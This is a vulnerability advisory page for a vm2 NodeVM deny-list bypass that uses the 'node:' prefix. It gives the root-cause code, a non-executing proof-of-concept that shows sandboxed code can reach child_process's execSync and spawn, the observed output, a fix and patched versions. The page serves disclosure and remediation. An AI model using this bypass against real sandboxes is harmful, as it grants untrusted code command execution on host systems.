CVE-2026-92957 — vm2
Fix: patriksimek/vm2@b0f5066CVE-2026-92957 is a Improper Privilege Management vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2 before 3.11.7 NodeVM Builtin Deny-List Bypass via node: Prefix
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-92957.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
does not deny the canonical child_process builtin. Sandboxed code can require both child_process and node:child_process, and receives the host module with process-spawning APIs such as execSync and spawn.
The safe proof below only checks module and function reachability. It does not execute any OS command.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
This affects users who deny builtins using their node:-prefixed spelling, expecting -node:child_process to deny require('node:child_process') and require('child_process').
Affected Files / Functions
lib/builtin.jsmakeBuiltinsFromLegacyOptions- wildcard builtin expansion
- exact negative entry check:
builtins.indexOf(\-${name}`)` addDefaultBuiltin
lib/resolver.jsResolver.resolve
lib/setup-node-sandbox.jsrequireImplnode:prefix stripping before builtin load
Root Cause
lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:
if (localStringPrototypeStartsWith(filename, 'node:')) {
id = localStringPrototypeSlice(filename, 5);
let nmod = cacheBuiltins[id];
if (!nmod) {
nmod = loadBuiltinModule(id);
if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
cacheBuiltins[id] = nmod;
}
return nmod;
}
But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTIN_MODULES:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
BUILTIN_MODULES contains the canonical name child_process, not node:child_process. Therefore -node:child_process does not exclude child_process, and addDefaultBuiltin() registers the host builtin.
Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
- sandbox -> host
child_processbuiltin - sandbox -> host process-spawning function references
Impact
Confirmed impact:
require('child_process')succeeds inside the sandbox.require('node:child_process')succeeds inside the sandbox.- The returned module exposes
execSyncandspawnas functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
'use strict';
const { NodeVM } = require('./');
function probe(builtin) {
const vm = new NodeVM({
require: {
builtin
}
});
return vm.run(`
const out = {};
for (const spec of ['child_process', 'node:child_process']) {
try {
const cp = require(spec);
out[spec] = {
loaded: true,
execSyncType: typeof cp.execSync,
spawnType: typeof cp.spawn,
moduleToStringTag: Object.prototype.toString.call(cp)
};
} catch (e) {
out[spec] = {
loaded: false,
name: e && e.name,
code: e && e.code,
message: e && e.message
};
}
}
module.exports = out;
`);
}
console.log(JSON.stringify({
nodeVersion: process.version,
denyNodePrefixed: probe(['*', '-node:child_process']),
denyCanonical: probe(['*', '-child_process'])
}, null, 2));
Observed result:
{
"nodeVersion": "v24.14.0",
"denyNodePrefixed": {
"child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
},
"node:child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
}
},
"denyCanonical": {
"child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'child_process'"
},
"node:child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'node:child_process'"
}
}
}
Expected Secure Behavior
-node:child_process and -child_process should be equivalent.
If either spelling is denied, both of these should fail:
require('child_process')
require('node:child_process')
Suggested Fix
-
Canonicalize builtin names before allow/deny comparison:
- Strip
node:from user-provided builtin entries. - Preserve whether an entry is negative (
-...) before canonicalizing. - Store and compare one canonical builtin key.
- Strip
-
Apply the same normalization to:
- wildcard negative entries
- explicit allowlist entries
- object-form builtin entries
- mock/override keys if they are intended to support
node:spelling
-
Add regression tests:
builtin: ['*', '-node:child_process']blockschild_process.builtin: ['*', '-node:child_process']blocksnode:child_process.builtin: ['*', '-node:fs']blocksfsandnode:fs.builtin: ['*', '-node:fs/promises']and-fs/promisesbehave consistently.- Canonical dangerous builtins remain denied even if explicitly requested with
node:spelling.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.7npm install vm2@3.11.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-92957 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as an Important impact for Red Hat products because an attacker capable of submitting sandboxed scripts can bypass module deny-list restrictions and execute arbitrary commands in the host container environment. While achieving process execution from within a sandbox is a critical security…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-92957 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1791295379 | RHSA-2026:80603 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/automation-portal:1791293780 | RHSA-2026:80644 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/bootc-automation-portal-rhel9:1791865660 | RHSA-2026:82151 |
| Red Hat Developer Hub 1.10 | rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend:1791242697 | RHSA-2026:76788 |
| Red Hat Developer Hub 1.10 | rhdh/rhdh-hub-rhel9:1791311495 | RHSA-2026:79088 |
Frequently Asked Questions
Is CVE-2026-92957 in your dependencies?
Find it across npm, including transitive dependencies.